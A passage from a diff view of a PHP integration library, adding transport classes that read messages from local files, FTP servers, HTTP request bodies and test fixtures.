$filePath = $this->_buildFilePath(
|
36 |
+
$this->getDirectoryPath($config),
|
37 |
+
$this->getFilename($config, false),
|
38 |
+
$config->getFilenameExtension(),
|
39 |
+
$config
|
40 |
+
);
|
41 |
+
|
42 |
+
if (!@file_exists($filePath)) {
|
43 |
+
$this->_handleFileNotExists($filePath, $config);
|
44 |
+
} else {
|
45 |
+
$headers = $this->_readFileHeaders($filePath, $config);
|
46 |
+
$request->setHeaders($headers);
|
47 |
+
|
48 |
+
if (!$this->_isFileReadable($filePath)) {
|
49 |
+
throw new Ampersand_Integration_Transport_Exception(
|
50 |
+
'The specified file is not readable.'
|
51 |
+
);
|
52 |
+
} else {
|
53 |
+
$offset = $this->_getFileOffset($config);
|
54 |
+
$nrOfLines = $this->_getNrOfLines($config);
|
55 |
+
$content = $this->_readFileContent($filePath, $offset, $nrOfLines, $config);
|
56 |
+
|
57 |
+
$request->setContent($content);
|
58 |
+
}
|
59 |
+
}
|
60 |
+
|
61 |
+
return $request;
|
62 |
+
}
|
63 |
+
|
64 |
+
/**
|
65 |
+
* Gets the debug data relating to the last message capture
|
66 |
+
*
|
67 |
+
* @return array
|
68 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
69 |
+
*/
|
70 |
+
public function getDebugData()
|
71 |
+
{
|
72 |
+
return array('type' => 'file', 'config' => $this->getConfig());
|
73 |
+
}
|
74 |
+
|
75 |
+
/**
|
76 |
+
* Returns whether the specified file path is readable
|
77 |
+
*
|
78 |
+
* @param string $filePath
|
79 |
+
* @return bool
|
80 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
81 |
+
*/
|
82 |
+
protected function _isFileReadable($filePath)
|
83 |
+
{
|
84 |
+
return @is_readable($filePath);
|
85 |
+
}
|
86 |
+
|
87 |
+
/**
|
88 |
+
* Returns some information about the file at the specified path
|
89 |
+
*
|
90 |
+
* @param string $filePath
|
91 |
+
* @param Ampersand_Object $config
|
92 |
+
* @return Ampersand_Integration_Transport_Outgoing_File
|
93 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
94 |
+
*/
|
95 |
+
protected function _readFileHeaders($filePath, Ampersand_Object $config)
|
96 |
+
{
|
97 |
+
if (!$headers = @stat($filePath)) {
|
98 |
+
$headers = array();
|
99 |
+
} else {
|
100 |
+
foreach ($headers as $_name => $_value) {
|
101 |
+
if (preg_match('/^\d+$/', $_name)) {
|
102 |
+
unset($headers[$_name]);
|
103 |
+
}
|
104 |
+
}
|
105 |
+
}
|
106 |
+
$headers['path'] = $filePath;
|
107 |
+
|
108 |
+
return $headers;
|
109 |
+
}
|
110 |
+
|
111 |
+
/**
|
112 |
+
* Reads contents of the file at the specified path starting at the specified offset
|
113 |
+
*
|
114 |
+
* @param string $filePath
|
115 |
+
* @param int $offset 0 or null means to start at the beginning of the file
|
116 |
+
* @param int $nrOfLines Number of lines to read from the file; 0 or null means to read the
|
117 |
+
* whole file
|
118 |
+
* @param Ampersand_Object $config
|
119 |
+
* @return Ampersand_Integration_Transport_Outgoing_File
|
120 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
121 |
+
*/
|
122 |
+
protected function _readFileContent($filePath, $offset, $nrOfLines, Ampersand_Object $config)
|
123 |
+
{
|
124 |
+
if (!$nrOfLines) {
|
125 |
+
return file_get_contents($filePath, false, null, $offset);
|
126 |
+
}
|
127 |
+
|
128 |
+
$content = '';
|
129 |
+
|
130 |
+
$handle = $this->_getFileHandle($filePath, $offset, $config);
|
131 |
+
$nrOfLinesRead = 0;
|
132 |
+
while ($nrOfLinesRead++ < $nrOfLines && $line = fgets($handle)) {
|
133 |
+
$content .= $line;
|
134 |
+
}
|
135 |
+
|
136 |
+
return $content;
|
137 |
+
}
|
138 |
+
|
139 |
+
/**
|
140 |
+
* Returns a file handle resource to be used to read the file at the specified path. Moves the
|
141 |
+
* pointer to the specified offset
|
142 |
+
*
|
143 |
+
* @param string $filePath
|
144 |
+
* @param int $offset 0 or null means to start at the beginning of the file
|
145 |
+
* @param Ampersand_Object $config
|
146 |
+
* @return resource
|
147 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
148 |
+
*/
|
149 |
+
protected function _getFileHandle($filePath, $offset, Ampersand_Object $config)
|
150 |
+
{
|
151 |
+
if (false === ($fileHandle = @fopen($filePath, 'r'))) {
|
152 |
+
throw new Ampersand_Integration_Transport_Exception(
|
153 |
+
'Unable to open file for read.'
|
154 |
+
);
|
155 |
+
}
|
156 |
+
|
157 |
+
fseek($fileHandle, $offset);
|
158 |
+
|
159 |
+
return $fileHandle;
|
160 |
+
}
|
161 |
+
|
162 |
+
/**
|
163 |
+
* Handles missing file when we are trying to read the file
|
164 |
+
*
|
165 |
+
* @param string $filePath
|
166 |
+
* @param Ampersand_Object $config
|
167 |
+
* @return Ampersand_Integration_Transport_Outgoing_File
|
168 |
+
* @throws Ampersand_Integration_Transport_Exception If configuration states to fail on missing
|
169 |
+
* file or an invalid file not exists action is specified then an exception is thrown
|
170 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
171 |
+
*/
|
172 |
+
protected function _handleFileNotExists($filePath, Ampersand_Object $config)
|
173 |
+
{
|
174 |
+
switch ($config->getOnFileNotExists()) {
|
175 |
+
case self::FAIL:
|
176 |
+
throw new Ampersand_Integration_Transport_Exception(
|
177 |
+
'File does not exist'
|
178 |
+
);
|
179 |
+
case self::GRACEFUL:
|
180 |
+
case null:
|
181 |
+
break;
|
182 |
+
default:
|
183 |
+
throw new Ampersand_Integration_Transport_Exception(
|
184 |
+
'Invalid file not exists action specified'
|
185 |
+
);
|
186 |
+
}
|
187 |
+
}
|
188 |
+
|
189 |
+
/**
|
190 |
+
* Builds a file path from a directory path, filename and file extension
|
191 |
+
*
|
192 |
+
* @param string $directoryPath
|
193 |
+
* @param string $filename
|
194 |
+
* @param string $filenameExtension
|
195 |
+
* @param Ampersand_Object $config
|
196 |
+
* @return string
|
197 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
198 |
+
*/
|
199 |
+
protected function _buildFilePath($directoryPath, $filename, $filenameExtension,
|
200 |
+
Ampersand_Object $config
|
201 |
+
) {
|
202 |
+
if ($filenameExtension) {
|
203 |
+
$filenameExtension = ".$filenameExtension";
|
204 |
+
}
|
205 |
+
|
206 |
+
return $directoryPath . DIRECTORY_SEPARATOR . $filename . $filenameExtension;
|
207 |
+
}
|
208 |
+
|
209 |
+
/**
|
210 |
+
* Returns the full path of the directory to which the file should be written
|
211 |
+
*
|
212 |
+
* @param Ampersand_Object $config
|
213 |
+
* @return string
|
214 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
215 |
+
*/
|
216 |
+
public function getDirectoryPath(Ampersand_Object $config)
|
217 |
+
{
|
218 |
+
$basePath = $this->_getBaseDirectoryPath($config);
|
219 |
+
$subPath = $config->getDirectoryPath();
|
220 |
+
$glue = $basePath && $subPath ? DIRECTORY_SEPARATOR : '';
|
221 |
+
|
222 |
+
return $basePath . $glue . $subPath;
|
223 |
+
}
|
224 |
+
|
225 |
+
/**
|
226 |
+
* Retrieves the base directory path from the configuration
|
227 |
+
*
|
228 |
+
* @param Ampersand_Object $config
|
229 |
+
* @return string
|
230 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
231 |
+
*/
|
232 |
+
protected function _getBaseDirectoryPath(Ampersand_Object $config)
|
233 |
+
{
|
234 |
+
return $config->getBaseDirectoryPath();
|
235 |
+
}
|
236 |
+
|
237 |
+
/**
|
238 |
+
* Gets the currently set filename. Possible to retrieve the filename with or without the file
|
239 |
+
* extension
|
240 |
+
*
|
241 |
+
* @param Ampersand_Object $config
|
242 |
+
* @param bool $includeExtension OPTIONAL
|
243 |
+
* @return string
|
244 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
245 |
+
*/
|
246 |
+
public function getFilename(Ampersand_Object $config, $includeExtension = true)
|
247 |
+
{
|
248 |
+
if ($includeExtension && ($extension = $config->getFilenameExtension())) {
|
249 |
+
$suffix = ".$extension";
|
250 |
+
} else {
|
251 |
+
$suffix = '';
|
252 |
+
}
|
253 |
+
|
254 |
+
return $config->getFilename() . $suffix;
|
255 |
+
}
|
256 |
+
|
257 |
+
/**
|
258 |
+
* Gets number of lines to read from the file
|
259 |
+
*
|
260 |
+
* @param Ampersand_Object $config
|
261 |
+
* @return int
|
262 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
263 |
+
*/
|
264 |
+
protected function _getNrOfLines(Ampersand_Object $config)
|
265 |
+
{
|
266 |
+
return $config->getNrOfLines();
|
267 |
+
}
|
268 |
+
|
269 |
+
/**
|
270 |
+
* Gets the offset to use when reading the file contents
|
271 |
+
*
|
272 |
+
* @param Ampersand_Object $config
|
273 |
+
* @return int
|
274 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
275 |
+
*/
|
276 |
+
protected function _getFileOffset(Ampersand_Object $config)
|
277 |
+
{
|
278 |
+
return $config->getFileOffset();
|
279 |
+
}
|
280 |
+
}
|
lib/Ampersand/Integration/Transport/Incoming/FileTransfer.php
ADDED
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Incoming_FileTransfer
|
19 |
+
extends Ampersand_Integration_Transport_FileTransferAbstract
|
20 |
+
implements Ampersand_Integration_Transport_Incoming_Interface
|
21 |
+
{
|
22 |
+
public function capture()
|
23 |
+
{
|
24 |
+
return $this->_copyOrMove($this->getConfig());
|
25 |
+
}
|
26 |
+
|
27 |
+
public function respond(Ampersand_Integration_Message_Data_Response $response)
|
28 |
+
{
|
29 |
+
return $this;
|
30 |
+
}
|
31 |
+
}
|
lib/Ampersand/Integration/Transport/Incoming/Ftp.php
ADDED
@@ -0,0 +1,192 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Incoming_Ftp
|
19 |
+
extends Ampersand_Integration_Transport_Incoming_File
|
20 |
+
{
|
21 |
+
const TRANSFER_MODE_ASCII = 'ascii';
|
22 |
+
const TRANSFER_MODE_BINARY = 'binary';
|
23 |
+
|
24 |
+
protected $_ftpConnection;
|
25 |
+
|
26 |
+
/**
|
27 |
+
* Captures the contents of a file according to the configuration
|
28 |
+
*
|
29 |
+
* @param Ampersand_Integration_Message_Data_Request $request
|
30 |
+
* @return Ampersand_Integration_Message_Data_Request
|
31 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
32 |
+
*/
|
33 |
+
protected function _capture(Ampersand_Integration_Message_Data_Request $request)
|
34 |
+
{
|
35 |
+
$this->_openConnection($this->getConfig());
|
36 |
+
|
37 |
+
try {
|
38 |
+
$output = parent::_capture($request);
|
39 |
+
|
40 |
+
$this->_closeConnection();
|
41 |
+
|
42 |
+
return $output;
|
43 |
+
} catch (Exception $e) {
|
44 |
+
$this->_closeConnection();
|
45 |
+
|
46 |
+
throw $e;
|
47 |
+
}
|
48 |
+
}
|
49 |
+
|
50 |
+
/**
|
51 |
+
* Reads contents of the file at the specified path starting at the specified offset
|
52 |
+
*
|
53 |
+
* @param string $filePath
|
54 |
+
* @param int $offset 0 or null means to start at the beginning of the file
|
55 |
+
* @param int $nrOfLines Number of lines to read from the file; 0 or null means to read the
|
56 |
+
* whole file
|
57 |
+
* @param Ampersand_Object $config
|
58 |
+
* @return Ampersand_Integration_Transport_Outgoing_File
|
59 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
60 |
+
*/
|
61 |
+
protected function _readFileContent($filePath, $offset, $nrOfLines, Ampersand_Object $config)
|
62 |
+
{
|
63 |
+
$connection = $this->_getConnection();
|
64 |
+
$fileHandle = tmpfile();
|
65 |
+
$transferMode = $this->_getTransferMode($config);
|
66 |
+
|
67 |
+
if (!@ftp_fget($connection, $fileHandle, $filePath, $transferMode)) {
|
68 |
+
throw new Ampersand_Integration_Transport_Exception('Unable to read file contents.');
|
69 |
+
}
|
70 |
+
|
71 |
+
$content = '';
|
72 |
+
|
73 |
+
while (!feof($fileHandle)) {
|
74 |
+
$content .= fread($fileHandle, 1000000);
|
75 |
+
}
|
76 |
+
|
77 |
+
fclose($fileHandle);
|
78 |
+
|
79 |
+
return $content;
|
80 |
+
}
|
81 |
+
|
82 |
+
/**
|
83 |
+
* Gets the ftp transfer mode to use based on the passed configuration
|
84 |
+
*
|
85 |
+
* @param Ampersand_Object $config
|
86 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
87 |
+
*/
|
88 |
+
protected function _getTransferMode(Ampersand_Object $config)
|
89 |
+
{
|
90 |
+
switch ($config->getTransferMode()) {
|
91 |
+
default:
|
92 |
+
case self::TRANSFER_MODE_ASCII:
|
93 |
+
return FTP_ASCII;
|
94 |
+
case self::TRANSFER_MODE_BINARY:
|
95 |
+
return FTP_BINARY;
|
96 |
+
}
|
97 |
+
}
|
98 |
+
|
99 |
+
/**
|
100 |
+
* Opens an ftp connection and prepares it to be used based on the passed configuration
|
101 |
+
*
|
102 |
+
* @param Ampersand_Object $config
|
103 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
104 |
+
*/
|
105 |
+
protected function _openConnection(Ampersand_Object $config)
|
106 |
+
{
|
107 |
+
if (!$this->_ftpConnection = @ftp_connect($config->getHost())) {
|
108 |
+
throw new Ampersand_Integration_Transport_Exception(
|
109 |
+
'Unable to connection to specified ftp host.'
|
110 |
+
);
|
111 |
+
}
|
112 |
+
|
113 |
+
$this->_prepareConnection($this->_ftpConnection, $config);
|
114 |
+
}
|
115 |
+
|
116 |
+
/**
|
117 |
+
* Prepares an ftp connection to be used - e.g. logging in, setting passive or active mode, etc.
|
118 |
+
* - based on the passed configuration
|
119 |
+
*
|
120 |
+
* @param resource $connection
|
121 |
+
* @param Ampersand_Object $config
|
122 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
123 |
+
*/
|
124 |
+
protected function _prepareConnection($connection, Ampersand_Object $config)
|
125 |
+
{
|
126 |
+
if ($user = $config->getUser()) {
|
127 |
+
$password = $config->getPassword();
|
128 |
+
if (!@ftp_login($connection, $user, $password)) {
|
129 |
+
throw new Ampersand_Integration_Transport_Exception(
|
130 |
+
'Unable to log in using provided credentials.'
|
131 |
+
);
|
132 |
+
}
|
133 |
+
}
|
134 |
+
|
135 |
+
$usePassive = (bool) $config->getPassive();
|
136 |
+
if (!@ftp_pasv($connection, $usePassive)) {
|
137 |
+
throw new Ampersand_Integration_Transport_Exception(
|
138 |
+
"Unable to change ftp mode to '{$config->getMode()}'."
|
139 |
+
);
|
140 |
+
}
|
141 |
+
}
|
142 |
+
|
143 |
+
/**
|
144 |
+
* Closes the active ftp connection
|
145 |
+
*
|
146 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
147 |
+
*/
|
148 |
+
protected function _closeConnection()
|
149 |
+
{
|
150 |
+
if ($this->_getConnection()) {
|
151 |
+
@ftp_close($this->_getConnection());
|
152 |
+
unset($this->_connection);
|
153 |
+
}
|
154 |
+
}
|
155 |
+
|
156 |
+
/**
|
157 |
+
* Returns the active ftp connection
|
158 |
+
*
|
159 |
+
* @return resource
|
160 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
161 |
+
*/
|
162 |
+
protected function _getConnection()
|
163 |
+
{
|
164 |
+
return $this->_ftpConnection;
|
165 |
+
}
|
166 |
+
|
167 |
+
/**
|
168 |
+
* Gets the debug data relating to the last message capture
|
169 |
+
*
|
170 |
+
* @return array
|
171 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
172 |
+
*/
|
173 |
+
public function getDebugData()
|
174 |
+
{
|
175 |
+
$data = parent::getDebugData();
|
176 |
+
$data['type'] = 'ftp';
|
177 |
+
|
178 |
+
return $data;
|
179 |
+
}
|
180 |
+
|
181 |
+
/**
|
182 |
+
* Test is not necessary over FTP
|
183 |
+
*
|
184 |
+
* @param string $filePath
|
185 |
+
* @return bool
|
186 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
187 |
+
*/
|
188 |
+
protected function _isFileReadable($filePath)
|
189 |
+
{
|
190 |
+
return (-1 !== @ftp_size($this->_getConnection(), $filePath));
|
191 |
+
}
|
192 |
+
}
|
lib/Ampersand/Integration/Transport/Incoming/FtpTransfer.php
ADDED
@@ -0,0 +1,43 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Incoming_FtpTransfer
|
19 |
+
extends Ampersand_Integration_Transport_FtpTransferAbstract
|
20 |
+
implements Ampersand_Integration_Transport_Incoming_Interface
|
21 |
+
{
|
22 |
+
public function capture()
|
23 |
+
{
|
24 |
+
return $this->_copyOrMove($this->getConfig());
|
25 |
+
}
|
26 |
+
|
27 |
+
public function respond(Ampersand_Integration_Message_Data_Response $response)
|
28 |
+
{
|
29 |
+
return $this;
|
30 |
+
}
|
31 |
+
|
32 |
+
protected function _copyFile($sourcePath, $destinationPath)
|
33 |
+
{
|
34 |
+
$transferMode = $this->_getTransferMode($this->getConfig());
|
35 |
+
|
36 |
+
return @ftp_get($this->_getConnection(), $destinationPath, $sourcePath, $transferMode);
|
37 |
+
}
|
38 |
+
|
39 |
+
protected function _sourceFileExists($filePath)
|
40 |
+
{
|
41 |
+
return $this->_ftpFileExists($filePath);
|
42 |
+
}
|
43 |
+
}
|
lib/Ampersand/Integration/Transport/Incoming/Http.php
ADDED
@@ -0,0 +1,36 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Incoming_Http
|
19 |
+
extends Ampersand_Integration_Transport_Incoming_Abstract
|
20 |
+
{
|
21 |
+
protected function _getHeaders()
|
22 |
+
{
|
23 |
+
if (function_exists('apache_request_headers')) {
|
24 |
+
$headers = apache_request_headers();
|
25 |
+
} else {
|
26 |
+
$headers = array();
|
27 |
+
}
|
28 |
+
|
29 |
+
return $headers;
|
30 |
+
}
|
31 |
+
|
32 |
+
protected function _getContent()
|
33 |
+
{
|
34 |
+
return file_get_contents('php://input');
|
35 |
+
}
|
36 |
+
}
|
lib/Ampersand/Integration/Transport/Incoming/Interface.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
interface Ampersand_Integration_Transport_Incoming_Interface
|
19 |
+
extends Ampersand_Integration_Transport_Interface
|
20 |
+
{
|
21 |
+
public function capture();
|
22 |
+
|
23 |
+
public function respond(Ampersand_Integration_Message_Data_Response $response);
|
24 |
+
}
|
lib/Ampersand/Integration/Transport/Incoming/Provider.php
ADDED
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Incoming_Provider extends Ampersand_ClassProvider
|
19 |
+
{
|
20 |
+
protected $_classes = array(
|
21 |
+
'file' => 'Ampersand_Integration_Transport_Incoming_File',
|
22 |
+
'file_transfer' => 'Ampersand_Integration_Transport_Incoming_FileTransfer',
|
23 |
+
'ftp' => 'Ampersand_Integration_Transport_Incoming_Ftp',
|
24 |
+
'ftp_transfer' => 'Ampersand_Integration_Transport_Incoming_FtpTransfer',
|
25 |
+
'http' => 'Ampersand_Integration_Transport_Incoming_Http',
|
26 |
+
'test' => 'Ampersand_Integration_Transport_Incoming_Test',
|
27 |
+
);
|
28 |
+
}
|
lib/Ampersand/Integration/Transport/Incoming/Test.php
ADDED
@@ -0,0 +1,146 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Incoming_Test
|
19 |
+
extends Ampersand_Integration_Transport_Abstract
|
20 |
+
implements Ampersand_Integration_Transport_Incoming_Interface
|
21 |
+
{
|
22 |
+
/** @var Ampersand_Object */
|
23 |
+
protected $_testDataObject;
|
24 |
+
/** @var array */
|
25 |
+
protected $_testDatas = array();
|
26 |
+
|
27 |
+
/**
|
28 |
+
* Returns a pre-populated request object from the test data. Sends the populated config to a
|
29 |
+
* test callback which will validate it
|
30 |
+
*
|
31 |
+
* @return Ampersand_Integration_Message_Data_Request
|
32 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
33 |
+
*/
|
34 |
+
public function capture()
|
35 |
+
{
|
36 |
+
$this->_doConfigCallback($this->getConfig());
|
37 |
+
|
38 |
+
return $this->_getTestDataObject()->getRequest();
|
39 |
+
}
|
40 |
+
|
41 |
+
/**
|
42 |
+
* Sends the populated response object to a test callback. Response doesn't actually get
|
43 |
+
* delivered anywhere
|
44 |
+
*
|
45 |
+
* @param Ampersand_Integration_Message_Data_Response $response
|
46 |
+
* @return Ampersand_Integration_Transport_Incoming_Test
|
47 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
48 |
+
*/
|
49 |
+
public function respond(Ampersand_Integration_Message_Data_Response $response)
|
50 |
+
{
|
51 |
+
$this->_doResponseCallback($response);
|
52 |
+
|
53 |
+
return $this;
|
54 |
+
}
|
55 |
+
|
56 |
+
/**
|
57 |
+
* Sends the populated config to the config callback if one was specified in the test data
|
58 |
+
*
|
59 |
+
* @param mixed $request
|
60 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
61 |
+
*/
|
62 |
+
protected function _doConfigCallback($config)
|
63 |
+
{
|
64 |
+
if ($callback = $this->_getTestDataObject()->getConfigCallback()) {
|
65 |
+
call_user_func($callback, $config);
|
66 |
+
}
|
